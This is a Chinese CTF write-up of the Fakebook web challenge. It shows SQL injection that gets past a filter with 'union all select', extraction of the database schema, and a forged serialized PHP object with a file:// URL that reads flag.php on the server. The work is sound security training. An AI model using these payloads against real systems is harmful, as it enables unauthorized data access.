首页 > 其他分享 >攻防世界 | Web-Fakebook

攻防世界 | Web-Fakebook

时间:2022-08-14 12:33:34浏览次数:80  
标签:Web 攻防 name no union blog php Fakebook select

这关一进来一个登录框,一个注册框,题目没给什么提示

先注册一个试试(但是注册完之后退不回去了 需要重新开一个浏览器)

注册完随便点一点,发现URL有点异样

http://111.200.241.244:54356/view.php?no=1

看起来又是个SQL注入 先加个单引号——果然报错了

接着用order by 测试出来有四个字段

常规的联合查询注入搞一下union select(我猜应该没这么简单)

但是!union select 不行 ,我们试试union all select(成功绕过)

 

 

?no=0 union all select 1,database(),3,4 --+ 数据库名fakebook

?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables --+ 拿到所有表名字

?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ 字段名users

?no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ 字段值 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

?no=0 union all select 1,group_concat(data),3,4 from users--+

这里得到了一串序列化的值,感觉有点懵逼,这不是我自己注册的信息吗?

O:8:"UserInfo":3:

{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:10:"www.bb.com";}

 

那么这关考的不光是SQL注入了 重新理一下思路,扔到御剑里跑一跑

发现有flag.php和robots.txt。访问robots.txt

访问/user.php.bak 直接下载了一个文件 打开看一下是个php代码

 

这里彻底不会了 看下大佬的思路

通过构造反序列化语句,使用file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径)

构造出以下payload:

?no=0 union all%20select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

 

 

右键查看源码

 

 

 

 

参考链接

https://blog.csdn.net/qq_41500251/article/details/105383065?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4-105383065-blog-104868401.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4-105383065-blog-104868401.pc_relevant_default&utm_relevant_index=5

 

标签:Web,攻防,name,no,union,blog,php,Fakebook,select
From: https://www.cnblogs.com/mlxwl/p/16585219.html

相关文章

  • FluentValidation 验证:WebApi 中使用 注入服务
    比如你要验证用户的时候判断一下这个用户名称在数据库是否已经存在了,这时候FluentValidation就需要注入查询数据库只需要注入一下就可以了publicclassLogin3Reques......
  • FluentValidation 验证:WebApi 中使用 基本使用
    FluentValidation.AspNetCore引入包publicclassLogin2RequestValidator:AbstractValidator<Login2Request>{ publicLogin2RequestValidator() { RuleFor(x=>......
  • react+rust+webAssembly(wasm)示例
    前言:WebAssembly(简称wasm)已经出来有几年了,在一些需要高性能的web应用场景中,wasm技术可以让代码执行效率大大提升。react做为目前大厂主流的前端框架之一,搭配上最近几年一......
  • 2022.8.14 模块化、Webpack、Vue-element-admin
    06、模块化相当于形成包6.1、简介模块化产生的背景随着网站逐渐变成”互联网应用程序”,嵌入网页的Javascript代码越来越庞大,越来越复杂。Javascript模块化编程,已经成......
  • JavaWeb阶段性项目1:系统的servlet优化5
    前置知识前置准备知识准备已掌握JavaSE/MySQL/JDBC+HTML/CSS/JavaScript基础并已完成了Javaweb前置知识的学习01-JavaWeb-HTML初识02-JavaWeb-CSS初识03-JavaWeb-Ja......
  • JavaWeb阶段性项目1:Servlet-api、mvc-service引入、IOC和DI
    Servlet-apiservlet类的继承与实现结构Servlet生命周期:实例化、初始化、服务、销毁init()方法抽象类GenericServlet实现了Servlet接口中的init方法,初始化Servlet......
  • 搭建 Webpack + TypeScript + Babel 的项目
    安装依赖包首先把webpack相关的依赖安装了:npmi-Dwebpackwebpack-cli安装各个loader:npmi-Dts-loaderbabel-loadersource-map-loader安装babel的核心:n......
  • 使用网关Zuul的时候,报java.lang.NoSuchMethodError: org.springframework.boot.web.s
    最近遇到一个困扰了我很久的问题(关于Zuul):报错界面如下:  原因是因为:Zuul与SpringBoot版本冲突,而SpringCloud又和SpringBoot版本关联,SpringCloud与SpringBoot......
  • WebStrom开发微信小程序,基本配置
    WebStrom开发微信小程序,基本配置注意默认情况下,webstorm不支持wxml和wxss的文件类型,所以需要手动去配置。我们只需要配置.wxml和.wxss:识别为:.wxml->html.wxss->css......
  • webpack使用
    Node.js遵循CommonJs规范,核心思想允许require方法来同步加载所需依赖的其他模块,通过exports或者module.exports来导出需要暴露的接口 优点:服务端模块便于复用缺点:同步......